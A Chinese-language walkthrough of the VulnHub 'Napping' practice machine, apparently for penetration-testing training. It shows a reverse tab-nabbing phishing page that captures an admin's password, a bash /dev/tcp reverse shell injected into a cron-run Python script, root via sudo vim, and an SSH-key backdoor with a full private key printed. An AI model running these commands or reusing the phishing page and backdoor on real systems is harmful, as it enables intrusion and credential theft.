靶机下载地址:https://www.vulnhub.com/entry/napping-101,752/
 教程链接地址:https://readysetexploit.gitlab.io/home/vulnhub/napping/
# 确认攻击目标
攻击机 KALI: 192.168.31.135
 靶机 NAPPING:桥接于 192.168.31.1 的网卡,ip 未知
- 通过 netdiscover 扫描当前网卡里边有哪些机器
 sudo netdiscover -i eth0 -r 192.168.31.0/24
![]()
- 将所有已知的 ip 暂时存档,对这类 ip 地址不做端口扫描
| 12
 3
 4
 5
 
 | # shellcat > myip.txt << EOF
 192.168.31.1 192.168.31.25 192.168.31.58 192.168.31.86 192.168.31.33
 192.168.31.120 192.168.31.135 192.168.31.145 192.168.31.162 192.168.31.44
 EOF
 
 | 
- netdiscover 未发现目标主机,nmap 进一步扫描,判断目标 IP
 sudo nmap -PA 192.168.31.0/24 --excludefile myip.txt
![]()
-> 目标机器的 ip 地址: 192.168.31.170
# 端口扫描
sudo nmap -A -p 1-1024 192.168.31.170 - oN /tmp/napping.txt
![Image]() 
# 钓鱼攻击 web
打开网站:http://192.168.31.170/
- 观察页面可进行注册并且登陆账号
![Image]() 
![Image]() 
- 对此网站进行目录扫描
dirsearch -u http://192.168.31.170
![Image]() 
3)观察登陆后的网站,发现存在跳转漏洞
审查源代码之后,存在 target=’_blank’ 的代码,可进行利用
![]()
target=’_blank’漏洞利用:https://book.hacktricks.xyz/pentesting-web/reverse-tab-nabbing
![Image]()
-> 观察页面可知,管理员会执行页面上输入的 url 地址
- 接受访问着的用户名和密码并发送给 4444 端口,钓鱼管理员
| 12
 
 | wget http://192.168.31.170/index.phpcat index.php && mv index.php index.html
 
 | 
![]()
现在该站点表明该页面的管理员将查看我们的链接,管员看到的是我们伪造的和对方 index.html 一样的界面,管员有可能认为自己的账号被注销会重新输入账户密码,而由于这是我们构造的界面,对方输入的信息将会被我们所监听。
evil.html 的作用是重定向,本来的网址是 http://192.168.31.135/evil.html 但是访问
的这个文件之后将被重定向为 http://192.168.31.135:4444/index.html
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 
 | cat > evil.html <<EOF<!DOCTYPE html>
 <html>
 <head>
 <title>My Blog</title>
 </head>
 <body>
 <script>
 if(window.opener)
 window.opener.parent.location.replace('http://192.168.31.135:4444/index.html');
 if(window.opener != window)
 window.opener.parent.location.replace('http://192.168.31.135:4444/index.html');
 </script>
 </body>
 </html>
 EOF
 
 | 
![]()
提交指向我们 evil.html 链接
然后点击链接
我们将转到我们的 evil.html
 但是原始标签将转到我们的 index.html,它看起来与登录页面完全相同
确保 Python 服务器在端口 80 和 4444 上运行
- 钓鱼攻击,等待鱼儿上钩
启动 80 端口的 http 服务: python3 -m http.server 80
 开启 80 服务后,对方可以访问到 http://192.168.31.135/evil.html 并且访问的这
个文件之后将被重定向为 http://192.168.31.135:4444/index.html
-> 我们从 4444 端口处监听以便捕捉到对方的用户名和密码!
![Image]() 
nc -lvvp 4444
![Image]() 
-> 获得管理员账户:daniel 密码:C@ughtm3napping
 注意这里的 %40 是 url 编码的 @
# 定时任务反弹 shell
- 得到账号密码,可以登入服务器,ssh daniel@192.168.31.170
![Image]() 
- 观察 /home 文件,分析可提权的文件
| 12
 3
 
 | cat query.pycat site_status.txt | head -n 10
 tail -n 10 site_status.txt
 
 | 
![Image]() 
对方有一个定时任务,用来检测网站是否正常,如果正常的话,会将日志打印出来,这里我们以 adrian 这个用户执行反弹该用户权限的 shell.
| 12
 3
 4
 5
 6
 
 | # /dev/shm/是linux下一个非常有用的目录,因为这个目录不在硬盘上,而是在内存里。cat > /dev/shm/shell.sh << EOF
 #! /bin/bash
 bash -c 'bash -i >& /dev/tcp/192.168.31.135/4444 0>&1'
 EOF
 chmod +x /dev/shm/shell.sh
 
 | 
![Image]() 
| 12
 3
 4
 5
 
 | # 在query.py中添加此命令,用来执行反弹shell的命令:cat >> query.py << EOF
 import os
 os.system('/usr/bin/bash /dev/shm/shell.sh')
 EOF
 
 | 
![Image]() 
| 12
 3
 4
 5
 6
 7
 
 | # 监听 4444 端口,等待定时任务被执行,shell成功反弹出来nc - lvvp 4444
 
 # 通过下面的命令来把终端标准一点显示:
 python3 -c 'import pty;pty.spawn("/bin/bash")' then press Ctrl+Z
 stty raw -echo;fg then press ENTER twice
 export TERM=xterm
 
 | 
![Image]() 
# vim-shell 提权
列出用户权限或检查特定命令
 sudo -l 
 这里发现有可调用 root 执行无密码的 vim 命令
![]()
提权超级丰富的网址:https://gtfobins.github.io/
| 12
 3
 
 | 直接写一个 vim shellsudo vim -c ‘:!/bin/sh’ 表示以root权限去写vim shell
 python3 -c 'import pty;pty.spawn("/bin/bash")'
 
 | 
![Image]() 
# 篡改 authorized_keys 维权
靶机:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | # 给靶机打印公钥echo 'ssh-rsa
 AAAAB3NzaC1yc2EAAAADAQABAAABgQCysSKgDq+5dEpirNHGl2j+ceqNRQHnSAHgQ3zsKqmUn9iyks
 5L07z9Y34OEvUsYAxsFgdLtdD+MxufPPQwj8a77hmcqWguq5EmJUiZ7fA/peddvGR9Q5ypMpkuMFm2W2gIg
 kVG+b4XPCQ0ydC9gn8ac7dReeMIykcD+vcQgpvHniK45rqAJJwbnb9MxNGDuPQHlSCSGA3FtHayNNsAmC
 +ek1m2Qk3oVUF/8XGnjHvw2fMTog8h41Se8lYgHLDf8o4IibuOxxxpNVYOIgUZ0Ahvg9+srGvzquDS/yqXDf
 06aBGHj+ISjOZ9wrB/Qmg3ArylKCaRk8UztsXg4gkCKiGiAynYY/EqNzXAuR42A1lby+kf9FUwSXGp8wdRG
 YVc3yOWQm+lHy5Ov1RqdSCsMMYkyqAOV+2weoRki9iONN8h7YVWX9hBoVPpRiLKDfG3aLkjRVyPrpx
 +qVHNo8rYHI9zjiTAhM/PJFarLhMEg+e3AvbEPBCN6p5lmO3lAdXX40= root@earth' >>
 ~/.ssh/authorized_keys
 
 | 
攻击机:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 
 | # 给攻击机打印私钥,注意私钥里边的第一行不能有空行echo '
 -----BEGIN OPENSSH PRIVATE KEY-----
 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
 PJaNWLEHEcEcOTAAAACnJvb3RAZWFydGg=
 -----END OPENSSH PRIVATE KEY-----
 ' >> ~/.ssh/vulnhub
 
 | 
![]()
| 12
 3
 
 | # 利用ssh私钥登录chmod 700 ~/.ssh/vulnhub
 ssh root@192.168.31.170 -i ~/.ssh/vulnhub
 
 | 
-> 成功登陆到了对方服务器